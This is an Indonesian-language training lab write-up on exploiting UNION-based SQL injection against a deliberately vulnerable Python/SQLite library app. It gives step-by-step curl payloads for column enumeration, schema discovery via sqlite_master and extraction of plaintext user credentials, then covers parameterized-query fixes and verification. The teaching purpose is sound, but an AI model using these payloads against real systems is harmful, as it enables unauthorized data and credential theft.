Lab 02: SQL Injection (Library)
Overview
SQL Injection (SQLi) adalah salah satu serangan web paling berbahaya yang memungkinkan attacker menyuntikkan query SQL berbahaya melalui input pengguna yang tidak divalidasi.
Dalam lab ini, kamu akan belajar mengeksploitasi celah SQL
Injection pada aplikasi Vulnerable
Library yang dibangun dengan Python +
SQLite. Aplikasi ini menyediakan daftar buku melalui
endpoint /books dan detail buku melalui
/books/{id}. Parameter id tidak divalidasi
sehingga memungkinkan serangan SQLi berbasis UNION.
Analogi sederhana: Bayangkan sebuah katalog perpustakaan. Biasanya kamu mencari buku dengan memasukkan nomor ID. Sekarang bayangkan jika petugas perpustakaan menuliskan ID itu langsung ke dalam query database tanpa memeriksa - kamu bisa mengubah query tersebut untuk membaca data apa pun dari database, termasuk data pengguna yang bersifat rahasia.
️ Target Information
| Atribut | Nilai |
|---|---|
| Target URL | http://lib.vuln.cybersecurity.or.id |
| Endpoint Rentan | GET /books/{id} |
| Level Kesulitan | ⭐ Beginner |
| Kategori | Injection |
| WSTG Mapping | WSTG-INPV-02 |
| Teknologi | Python, SQLite, SQLite3 |
Vulnerability Background
OWASP Top 10
SQL Injection masuk dalam kategori A03:2021 - Injection pada OWASP Top 10. Injection terjadi ketika data tidak terpercaya dikirim ke interpreter sebagai bagian dari perintah atau query. Data berbahaya tersebut dapat mengelabui interpreter untuk mengeksekusi perintah yang tidak diinginkan.
CWE & CAPEC
- CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
- CAPEC-66: SQL Injection - pola serangan di mana attacker menyisipkan kode SQL melalui input aplikasi
WHY: Akar Masalah
Aplikasi ini rentan karena menggunakan string concatenation (penggabungan string) untuk membangun query SQL:
# ❌ RENTAN - jangan tiru di production!
id = request.args.get('id')
query = f"SELECT * FROM books WHERE id = {id}"
cursor.execute(query)
Kode di atas mengambil parameter id dari URL dan
langsung menyisipkannya ke query tanpa parameterized
query. Akibatnya, attacker bisa menyisipkan perintah
SQL tambahan.
SQLite vs Database Lain
SQLite memiliki beberapa karakteristik unik yang perlu kamu ketahui dalam konteks SQLi:
| Karakteristik | SQLite | MySQL | PostgreSQL |
|---|---|---|---|
| Comment syntax | --, /* */ |
--, #, /* */ |
--, /* */ |
| String concat | || |
CONCAT() |
|| |
| Version query | sqlite_version() |
@@version |
version() |
| Schema table | sqlite_master |
information_schema |
information_schema |
| Multiple statements | Tidak didukung dalam satu execute() |
Didukung | Didukung |
Prerequisites
Sebelum memulai lab ini, pastikan kamu memiliki:
- Terminal / Command Prompt
- curl - biasanya sudah terinstall di
Linux/macOS. Cek dengan
curl --version - Koneksi internet - untuk mengakses
target di
lib.vuln.cybersecurity.or.id - Pemahaman dasar SQL - SELECT, FROM, WHERE, UNION
️ Lab Architecture
Aplikasi Vulnerable Library yang menjadi target lab ini memiliki arsitektur sederhana:
┌─────────────┐ HTTP Request ┌──────────────────┐
│ Browser │ ──────────────────→ │ Python Flask │
│ / curl │ ←────────────────── │ Web Server │
└─────────────┘ JSON Response └────────┬─────────┘
│
┌────────▼─────────┐
│ SQLite3 DB │
│ (library.db) │
│ │
│ ┌────────────┐ │
│ │ books │ │
│ ├────────────┤ │
│ │ users │ │
│ └────────────┘ │
└──────────────────┘
Alur request:
- User mengirim request
GET /books/1ke server - Server Flask mengambil parameter
id = 1 - Query SQL dibangun dengan concatenation:
f"SELECT * FROM books WHERE id = {id}" - SQLite mengeksekusi query dan mengembalikan hasil
- Server mengirim response JSON ke client
Database library.db berisi dua tabel:
books- menyimpan data buku (id, title, author, year)users- menyimpan data pengguna (id, username, password, role)
️ Reconnaissance
Sebelum mengeksploitasi, kita perlu memahami bagaimana aplikasi bekerja. Fase ini disebut Reconnaissance (pengintaian).
Langkah 1: Akses Halaman Utama /books
Mari lihat daftar buku yang tersedia:
curl -s http://lib.vuln.cybersecurity.or.id/books
Expected Output (HTML - terpotong):
<!DOCTYPE html>
<html>
<head><title>Library - Books</title></head>
<body>
<h1>Daftar Buku</h1>
<ul>
<li><a href="/books/1">Harry Potter and the Philosopher's Stone</a></li>
<li><a href="/books/2">The Great Gatsby</a></li>
<li><a href="/books/3">To Kill a Mockingbird</a></li>
<li><a href="/books/4">1984</a></li>
<li><a href="/books/5">Pride and Prejudice</a></li>
</ul>
</body>
</html>
Analisis: Ada 5 buku dengan ID 1 - 5. Setiap buku bisa
diakses melalui /books/{id}.
Langkah 2: Akses Detail Buku
curl -s http://lib.vuln.cybersecurity.or.id/books/1
Expected Output:
{
"id": 1,
"title": "Harry Potter and the Philosopher's Stone",
"author": "J.K. Rowling",
"year": 1997
}
Analisis: Aplikasi mengembalikan data dalam format
JSON dengan 4 kolom: id, title,
author, year. Informasi ini penting untuk
langkah eksploitasi nanti.
Langkah 3: Uji Input dengan Karakter Kutip
Sekarang kita uji apakah parameter id rentan terhadap
SQLi dengan memasukkan karakter kutip ':
curl -s http://lib.vuln.cybersecurity.or.id/books/1'
Expected Output:
<!DOCTYPE html>
<html>
<head><title>500 Internal Server Error</title></head>
<body>
<h1>Internal Server Error</h1>
<p>An error occurred while processing your request.</p>
</body>
</html>
Analisis: Karakter ' menyebabkan
Internal Server Error (500). Ini adalah indikasi
awal (smoking gun) bahwa input tidak difilter dengan benar dan
kemungkinan besar terjadi error SQL karena kutip tunggal memecah
sintaks query.
[SCREENSHOT-1]: Terminal menunjukkan permintaan curl ke /books/1' dan response 500 Internal Server Error
Alur Eksploitasi
Sebelum masuk ke detail masing-masing finding, berikut ringkasan alur eksploitasi yang akan kita lakukan:
┌─────────────────────────────────────────────────────┐
│ ALUR EKSPLOITASI SQLI │
├─────────────────────────────────────────────────────┤
│ │
│ 1. Reconnaissance │
│ ├─ Akses /books → lihat daftar buku │
│ ├─ Akses /books/1 → lihat format response (JSON) │
│ └─ Akses /books/1' → konfirmasi SQLi (error 500) │
│ │
│ 2. FINDING 1: Error-Based SQLi │
│ ├─ ORDER BY → tentukan jumlah kolom (4 kolom) │
│ └─ sqlite_version() → dapatkan versi SQLite │
│ │
│ 3. FINDING 2: UNION-Based SQLi │
│ ├─ sqlite_master → daftar tabel (books, users) │
│ ├─ sqlite_master.sql → struktur tabel users │
│ └─ SELECT FROM users → ekstrak kredensial │
│ │
└─────────────────────────────────────────────────────┘
Dua jenis SQLi yang akan dipraktikkan:
| Jenis SQLi | Tujuan | Tool |
|---|---|---|
| Error-Based | Mendapatkan informasi dari pesan error database (jumlah kolom, versi) | curl + ORDER BY |
| UNION-Based | Menggabungkan hasil query asli dengan hasil query buatan attacker | curl + UNION SELECT |
Finding 1: Error-Based SQL Injection - Column Enumeration
| Field | Detail |
|---|---|
| Severity | 🔴 High |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
| CVSS Base Score | 7.5 |
| CWE | CWE-89 (SQL Injection) |
| Affected Endpoint | GET http://lib.vuln.cybersecurity.or.id/books/{id}
|
| Affected Parameter | id |
| Deskripsi | Parameter id pada endpoint
/books/{id} tidak divalidasi dan digunakan
langsung dalam query SQL melalui string concatenation.
Attacker dapat menyisipkan karakter kutip
' untuk memicu error database dan
melakukan enumerasi struktur database secara bertahap.
|
| Proof & Reproduction | Lihat langkah-langkah di bawah |
| Impact | Attacker dapat menentukan jumlah kolom dan versi database SQLite, yang merupakan langkah awal untuk ekstraksi data penuh. Informasi versi database membantu attacker menyesuaikan payload SQLi yang tepat sasaran. |
| Remediasi | Gunakan parameterized queries (prepared statements). Jangan pernah menggabungkan input pengguna langsung ke query SQL. |
Langkah 4: Menentukan Jumlah Kolom dengan ORDER BY
Teknik ORDER BY digunakan untuk menentukan berapa banyak kolom yang dimiliki tabel. Kita naikkan nomor kolom secara bertahap sampai query error.
Coba dengan ORDER BY 5:
curl -s "http://lib.vuln.cybersecurity.or.id/books/1%20ORDER%20BY%205--"
Expected Output:
<!DOCTYPE html>
<html>
<head><title>500 Internal Server Error</title></head>
<body>
<h1>Internal Server Error</h1>
<p>An error occurred while processing your request.</p>
</body>
</html>
Error! Artinya tabel tidak memiliki 5 kolom. Sekarang coba dengan 4:
curl -s "http://lib.vuln.cybersecurity.or.id/books/1%20ORDER%20BY%204--"
Expected Output:
{
"id": 1,
"title": "Harry Potter and the Philosopher's Stone",
"author": "J.K. Rowling",
"year": 1997
}
✅ Sukses! Data buku ditampilkan, artinya tabel memiliki 4 kolom.
[SCREENSHOT-2]: Perbandingan response curl ORDER BY 5 (error 500) vs ORDER BY 4 (data tampil)
Langkah 5: Mengetahui Versi SQLite
Kita bisa menggunakan fungsi sqlite_version() untuk
mengetahui versi database:
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,sqlite_version(),3,4--"
Expected Output:
{
"id": 0,
"title": "3.45.1",
"author": 3,
"year": 4
}
Analisis: Nilai 0 digunakan sebagai ID
karena tidak ada buku dengan ID 0, sehingga data dari UNION SELECT
yang tampil. Versi SQLite yang terdeteksi adalah
3.45.1.
💡 Tip: Di SQLite, fungsi
sqlite_version() mengembalikan string versi. Kita
letakkan di kolom ke-2 (posisi title) agar string
tersebut tampil.
[SCREENSHOT-3]: Response curl dengan UNION SELECT sqlite_version() menampilkan versi SQLite
Finding 2: UNION-Based SQL Injection - Data Extraction
| Field | Detail |
|---|---|
| Severity | 🔴 Critical |
| CVSS Vector | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
| CVSS Base Score | 7.5 |
| CWE | CWE-89 (SQL Injection) |
| Affected Endpoint | GET http://lib.vuln.cybersecurity.or.id/books/{id}
|
| Affected Parameter | id |
| Deskripsi | Setelah berhasil menentukan jumlah kolom, attacker dapat
menggunakan teknik UNION-based SQLi untuk membaca data
dari tabel lain di database, termasuk tabel
users yang berisi kredensial login. |
| Proof & Reproduction | Lihat langkah-langkah di bawah |
| Impact | Attacker dapat mengekstrak seluruh isi database,
termasuk nama tabel, struktur kolom, dan data sensitif
seperti username & password dari tabel
users. |
| Remediasi | Gunakan parameterized queries (prepared statements) + prinsip least privilege untuk user database. |
SQLite Schema: sqlite_master
Berbeda dengan MySQL yang menggunakan
information_schema, SQLite menyimpan metadata database
dalam tabel sqlite_master. Tabel ini
memiliki kolom:
| Kolom | Tipe | Deskripsi |
|---|---|---|
type |
TEXT | Tipe objek: 'table', 'index', 'view', 'trigger' |
name |
TEXT | Nama objek |
tbl_name |
TEXT | Nama tabel terkait |
rootpage |
INTEGER | Nomor halaman root |
sql |
TEXT | Statement CREATE yang digunakan |
Kita akan menggunakan kolom name dan sql
untuk mengekstrak informasi.
Langkah 6: Daftar Semua Tabel
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,name,3,4%20FROM%20sqlite_master%20WHERE%20type='table'--"
Expected Output:
{
"id": 0,
"title": "books",
"author": 3,
"year": 4
}
Hanya satu tabel yang muncul karena kita hanya mendapatkan satu baris. Untuk melihat semua tabel, kita bisa menggabungkan nama tabel dengan koma:
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,group_concat(name),3,4%20FROM%20sqlite_master%20WHERE%20type='table'--"
Expected Output:
{
"id": 0,
"title": "books,users",
"author": 3,
"year": 4
}
🎉 Ditemukan! Database memiliki dua tabel:
books (tabel utama) dan
users (tabel sensitif berisi data
pengguna).
[SCREENSHOT-4]: Response curl menampilkan daftar tabel "books,users" menggunakan GROUP_CONCAT
Langkah 7: Lihat Struktur Tabel users
Sekarang kita lihat struktur kolom dari tabel users
menggunakan kolom sql dari sqlite_master:
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,sql,3,4%20FROM%20sqlite_master%20WHERE%20name='users'--"
Expected Output:
{
"id": 0,
"title": "CREATE TABLE users (id INTEGER PRIMARY KEY, username TEXT, password TEXT, role TEXT)",
"author": 3,
"year": 4
}
Analisis: Tabel users memiliki 4 kolom:
id- INTEGER, Primary Keyusername- TEXTpassword- TEXT (⚠️ disimpan dalam bentuk plaintext - sangat tidak aman!)role- TEXT
[SCREENSHOT-5]: Response curl menampilkan CREATE TABLE statement untuk tabel users
Langkah 8: Ekstrak Data dari Tabel users
Sekarang kita ekstrak semua data dari tabel users:
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,group_concat(username),group_concat(password),group_concat(role)%20FROM%20users--"
Expected Output:
{
"id": 0,
"title": "admin,librarian,member",
"author": "sup3rS3cr3tP@ss!,b00kL0v3r2024,m3mb3rP@ss",
"year": "admin,staff,user"
}
🎉 Data berhasil diekstrak! Kita mendapatkan:
| Username | Password | Role |
|---|---|---|
admin |
sup3rS3cr3tP@ss! |
admin |
librarian |
b00kL0v3r2024 |
staff |
member |
m3mb3rP@ss |
user |
⚠️ Catatan: Dalam skenario nyata, password seharusnya di-hash (misal bcrypt, Argon2). Penyimpanan password dalam bentuk plaintext adalah praktik keamanan yang sangat buruk.
[SCREENSHOT-6]: Response curl menampilkan data users (username, password, role) yang berhasil diekstrak
Langkah 9: (Opsional) Ekstrak Satu Baris Spesifik
Jika ingin mengambil data pengguna tertentu saja:
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,username,password,role%20FROM%20users%20WHERE%20username='admin'--"
Expected Output:
{
"id": 0,
"title": "admin",
"author": "sup3rS3cr3tP@ss!",
"role": "admin"
}
️ Remediation
1. Parameterized Queries (Prepared Statements)
Cara paling efektif untuk mencegah SQLi adalah dengan menggunakan parameterized queries. Dengan metode ini, input pengguna tidak pernah digabungkan langsung ke query SQL, melainkan dikirim sebagai parameter terpisah.
# ✅ AMAN - Parameterized Query dengan sqlite3
import sqlite3
from flask import Flask, request, jsonify
app = Flask(__name__)
@app.route('/books/<int:book_id>')
def get_book(book_id):
conn = sqlite3.connect('library.db')
cursor = conn.cursor()
# Parameterized query - input dikirim sebagai parameter terpisah
cursor.execute("SELECT * FROM books WHERE id = ?", (book_id,))
book = cursor.fetchone()
conn.close()
if book:
return jsonify({
"id": book[0],
"title": book[1],
"author": book[2],
"year": book[3]
})
else:
return jsonify({"error": "Book not found"}), 404
Mengapa ini aman? Library sqlite3
secara otomatis meng-escape karakter khusus dalam parameter. Input
1' OR '1'='1 akan diperlakukan
sebagai string literal, bukan sebagai bagian dari
query SQL.
2. Input Validation
Selain parameterized query, lakukan juga validasi input:
# Validasi tipe data
book_id = request.args.get('id')
if not book_id.isdigit():
return jsonify({"error": "Invalid ID"}), 400
3. Least Privilege Database User
Gunakan user database dengan hak akses minimal. Aplikasi yang hanya perlu SELECT tidak boleh menggunakan koneksi database dengan hak INSERT/UPDATE/DELETE/DROP:
-- Buat user khusus dengan akses terbatas
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 's3cur3P@ss';
GRANT SELECT ON library.* TO 'app_user'@'localhost';
4. Web Application Firewall (WAF)
Gunakan WAF sebagai lapisan pertahanan tambahan untuk mendeteksi dan memblokir payload SQLi yang mencurigakan.
5. Regular Security Testing
Lakukan pengujian keamanan secara rutin, termasuk:
- SAST (Static Application Security Testing): Analisis kode sumber untuk mencari pola tidak aman
- DAST (Dynamic Application Security Testing): Pengujian terhadap aplikasi yang berjalan
- Manual Pentest: Pengujian manual oleh security professional
Verification (Post-Fix)
Setelah remediasi diterapkan, verifikasi bahwa celah SQLi sudah tertutup:
Uji 1: Input Normal Masih Berfungsi
curl -s http://lib.vuln.cybersecurity.or.id/books/1
Expected Output: Data buku normal tetap tampil.
Uji 2: Karakter Kutip Tidak Lagi Menyebabkan Error
curl -s "http://lib.vuln.cybersecurity.or.id/books/1'"
Expected Output: Response 404 atau error message yang aman (tidak menampilkan traceback SQL).
Uji 3: Payload SQLi Tidak Lagi Berhasil
curl -s "http://lib.vuln.cybersecurity.or.id/books/0%20UNION%20SELECT%201,2,3,4--"
Expected Output: Response 404 atau data buku dengan ID literal "0 UNION SELECT 1,2,3,4--" - bukan hasil query UNION.
Uji 4: Path Traversal via Parameter Numeric
curl -s "http://lib.vuln.cybersecurity.or.id/books/../../etc/passwd"
Expected Output: Response 404 Not Found.
Kesimpulan
Dalam lab ini, kita telah mempelajari:
| Tahap | Aktivitas | Hasil |
|---|---|---|
| Recon | Mengakses /books dan /books/1
|
Mengetahui struktur aplikasi dan format response (JSON, 4 kolom) |
| Testing | Memasukkan ' pada parameter |
Mendapatkan error 500 - indikasi SQLi |
| Error-Based | ORDER BY 4 vs ORDER BY 5 | Menentukan tabel memiliki 4 kolom |
| Error-Based | sqlite_version() |
Mendapatkan versi SQLite database |
| UNION-Based | sqlite_master → name |
Menemukan tabel: books, users
|
| UNION-Based | sqlite_master → sql |
Melihat struktur tabel users (id, username,
password, role) |
| Data Extraction | SELECT dari tabel users |
Mendapatkan 3 akun: admin, librarian, member |
Severity Summary
| Finding | Severity | Deskripsi |
|---|---|---|
| Error-Based SQLi | 🔴 High | Column enumeration, version detection |
| UNION-Based SQLi | 🔴 Critical | Full data extraction dari tabel users |
Key Takeaways
- JANGAN PERNAH menggabungkan input pengguna langsung ke query SQL
- Selalu gunakan parameterized queries / prepared statements
- Simpan password dengan hashing (bcrypt/Argon2), bukan plaintext
- Terapkan least privilege pada koneksi database
- Lakukan input validation di sisi server
- SQLite menggunakan
sqlite_masteruntuk metadata - beda dengan MySQL/PostgreSQL - Teknik UNION-based SQLi sangat mematikan jika jumlah kolom sudah diketahui
References
| Sumber | URL |
|---|---|
| OWASP SQL Injection | https://owasp.org/www-community/attacks/SQL_Injection |
| OWASP A03:2021 - Injection | https://owasp.org/Top10/A03_2021-Injection/ |
| CWE-89 | https://cwe.mitre.org/data/definitions/89.html |
| CAPEC-66 | https://capec.mitre.org/data/definitions/66.html |
| OWASP WSTG-INPV-02 | https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Input_Validation_Testing/05-Testing_for_SQL_Injection |
| SQLite Documentation | https://www.sqlite.org/docs.html |
| SQLite sqlite_master | https://www.sqlite.org/schematab.html |
| Python sqlite3 Parameterized Query | https://docs.python.org/3/library/sqlite3.html |
️ Tags
SQL Injection SQLite
UNION-Based Python
OWASP Top 10 CWE-89 Beginner
WSTG-INPV-02 Database Security
Web Security